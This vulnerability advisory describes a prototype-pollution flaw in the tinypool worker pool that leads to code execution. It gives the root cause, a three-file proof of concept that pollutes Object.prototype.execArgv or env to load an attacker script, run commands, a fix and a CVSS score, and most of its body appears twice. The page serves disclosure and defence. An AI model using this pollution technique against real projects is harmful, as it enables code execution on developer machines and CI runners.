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CVE-2026-104848NVD
Vulnerability Summary
`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.
Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.
2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.
## Root cause
`dist/index.js` lines 508-511:
```js
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
```
`this.options` is built at line 470 via object spread:
```js
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
```
## Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
## Proof of concept
Minimal reproduction (3 files):
**worker.mjs** — the application's own legitimate worker:
```js
export default function double(n) { return n * 2 }
```
**payload.js** — attacker-controlled code (never referenced by the app):
```js
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
```
**app.js** — normal tinypool usage:
```js
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42 — app works normally
pool.destroy()
})
```
Run:
```
npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
```
Both `execArgv` and `env` vectors confirmed on Node 20.
## Suggested fix
Resolve worker options with own-property semantics:
```js
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
```
Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script.
2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection.
## Root cause
`dist/index.js` lines 508-511:
```js
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
```
`this.options` is built at line 470 via object spread:
```js
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
```
## Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
## Proof of concept
Minimal reproduction (3 files):
**worker.mjs** — the application's own legitimate worker:
```js
export default function double(n) { return n * 2 }
```
**payload.js** — attacker-controlled code (never referenced by the app):
```js
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
```
**app.js** — normal tinypool usage:
```js
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42 — app works normally
pool.destroy()
})
```
Run:
```
npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
```
Both `execArgv` and `env` vectors confirmed on Node 20.
## Suggested fix
Resolve worker options with own-property semantics:
```js
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
```
CVSS v4.0 Base Metrics — Score 9.5
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsPresent
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)High
Integrity (Vulnerable System)High
Availability (Vulnerable System)High
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)High
Affected & Patched Versions
- tinypool <= 2.1.0
Not provided by Private for this CVE.
External References
- https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3
- https://nvd.nist.gov/vuln/detail/CVE-2026-104848
- https://github.com/tinylibs/tinypool/pull/134
- https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd
- https://github.com/tinylibs/tinypool/releases/tag/v2.1.1
- https://github.com/advisories/GHSA-5gmw-xhrv-c9v3